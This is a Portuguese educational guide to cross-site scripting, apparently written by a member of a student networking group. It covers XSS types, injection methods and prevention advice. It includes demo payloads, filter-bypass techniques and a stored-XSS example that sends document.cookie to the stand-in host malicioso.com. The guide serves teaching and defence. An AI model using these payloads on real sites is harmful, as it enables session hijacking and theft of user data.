XSS - Cross Site Scripting

O que é XSS? 🕵️‍♂️

Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança encontrada em aplicações web que permite a injeção de scripts maliciosos em páginas visualizadas por outros usuários. Esse ataque pode resultar no roubo de cookies, redirecionamento de usuários, execução de ações não autorizadas e comprometimento de dados sensíveis .

XSS ocorre quando uma aplicação web insere dados não validados na resposta ao usuário, permitindo que scripts arbitrários sejam executados no navegador da vítima. Esse tipo de ataque é particularmente perigoso porque pode afetar qualquer usuário que interaja com a aplicação vulnerável.

Tipos de XSS ⚠️

Os principais tipos de ataques XSS são:

1. XSS Refletido (Reflected XSS) 🔄

O XSS refletido ocorre quando um script malicioso é injetado em uma requisição HTTP e refletido de volta na resposta da aplicação sem ser armazenado no servidor. Esse tipo de ataque geralmente ocorre através de links maliciosos que induzem a vítima a clicar e executar o script no contexto do seu navegador.

Exemplo:

http://vulneravel.com/search?q=
<script>
  alert("XSS");
</script>

Se o site inserir o parâmetro q diretamente no HTML sem sanitização, o script será executado quando a página carregar.

2. XSS Armazenado (Stored XSS) 💾

No XSS armazenado, o script malicioso é permanentemente armazenado no banco de dados da aplicação e exibido a qualquer usuário que acessar a página comprometida. Esse é o tipo mais perigoso de XSS, pois pode afetar um grande número de usuários sem que eles precisem interagir com um link específico.

Exemplo: Um invasor insere o seguinte código em um campo de comentários:

<script>
  document.location = "http://malicioso.com?cookie=" + document.cookie;
</script>

Sempre que um usuário visualizar o comentário, seu cookie será enviado ao atacante.

3. XSS DOM (DOM-based XSS) 🏗️

Esse tipo de XSS ocorre quando um script malicioso manipula o DOM da página diretamente no navegador do usuário, sem que o ataque passe pelo servidor.

Exemplo:

var search = document.location.hash.substr(1);
document.getElementById("resultado").innerHTML = search;

Se um atacante enviar um link como http://vulneravel.com#<script>alert('XSS')</script>, o script será inserido na página e executado.

4. XSS por Mutação (Mutation XSS) 🔄

O Mutation XSS acontece quando um navegador modifica automaticamente o código HTML injetado, transformando um payload aparentemente inofensivo em um script executável.

Exemplo:

<div id="output"></div>
<script>
  var userInput = "<img src='x' onerror='alert(1)'>";
  document.getElementById("output").innerHTML = userInput;
</script>

Embora o código pareça seguro, ao ser processado pelo navegador, ele reconhece a tag <img> e executa o evento onerror, disparando o alerta.

Métodos de Injeção 🏹

Os ataques XSS podem ser realizados por meio de diversas técnicas de injeção, incluindo:

1. Tags HTML 🏗️

Os invasores podem injetar scripts dentro de elementos HTML como <script> e <img>.

<script>
  alert("XSS");
</script>

2. Eventos HTML 🎭

Scripts podem ser injetados em eventos de elementos HTML, como onmouseover, onload, onclick, onerror, etc.

<img src="inexistente.jpg" onerror="alert('XSS')" />

3. URL Maliciosas 🔗

Links contendo scripts podem ser enviados para usuários desavisados.

<a href="javascript:alert('XSS')">Clique aqui</a>

4. Manipulação do DOM 🔀

Algumas aplicações permitem que usuários injetem scripts através de manipulação do DOM.

document.write('<script>alert("XSS")</script>');

Bypass de Defesa 🎭

Algumas aplicações implementam proteções básicas contra XSS, mas atacantes experientes podem encontrar maneiras de contornar essas medidas, incluindo:

  • Encoding duplo de caracteres especiais.

  • Uso de tags HTML pouco comuns (<svg>, <math>).

  • Quebra de sintaxe para escapar de filtros básicos.

  • Injeção em atributos de eventos inline.

Mitigação e Prevenção 🛡️

Para evitar ataques XSS, as melhores práticas incluem:

  • Sanitização de entrada e saída: Utilizar bibliotecas como DOMPurify para limpar entradas de usuário.

  • Escape de caracteres especiais: Converter < em &lt; e > em &gt;.

  • Content Security Policy (CSP): Restringir execução de scripts apenas a fontes confiáveis.

  • Evitar innerHTML: Usar textContent ou createElement em vez de manipular HTML diretamente.

  • Validação no lado do servidor e cliente: Implementar regras rigorosas para entrada de usuários.

Ferramentas para Testes de XSS 🧪

  • Burp Suite – Ferramenta popular para testes de segurança web.

  • OWASP ZAP – Scanner de vulnerabilidades open-source.

  • XSS Hunter – Plataforma para exploração de XSS armazenado.

  • Dom XSS Scanner – Detecta vulnerabilidades em manipulações do DOM.

Curiosidade sobre XSS 🤯

Um dos primeiros casos conhecidos de XSS ocorreu em 2005 com o MySpace Samy Worm. O atacante, chamado Samy Kamkar, criou um worm que explorava uma falha de XSS no MySpace. Sempre que um usuário visitava seu perfil, o código malicioso era executado, adicionava automaticamente Samy como amigo e replicava o script para outros perfis. Em menos de 24 horas, mais de um milhão de perfis foram infectados, levando o MySpace a ficar temporariamente fora do ar.

Treinamento e Desafios 🎯

🔗 XSS Challenges - PwnFunction – Plataforma interativa com desafios práticos para explorar vulnerabilidades XSS, abrangendo desde conceitos básicos até técnicas avançadas de exploração. Além disso, oferece as soluções dos desafios, permitindo um aprendizado mais aprofundado.

🔗 Cross Site Scripting ( XSS ) Vulnerability Payload List

Conclusão ✅

XSS é uma vulnerabilidade grave que pode comprometer a segurança dos usuários e da aplicação web. Para prevenir ataques XSS, recomenda-se:

  • Sanitização e escape de entrada e saída de dados.

  • Uso de Content Security Policy (CSP).

  • Evitar innerHTML e utilizar textContent sempre que possível.

  • Implementar validações no lado do servidor e do cliente.

A segurança na web é um processo contínuo, e a proteção contra XSS deve ser uma prioridade para desenvolvedores e administradores de sistemas.

Autor

Membro de Networking - João Vitor

Atualizado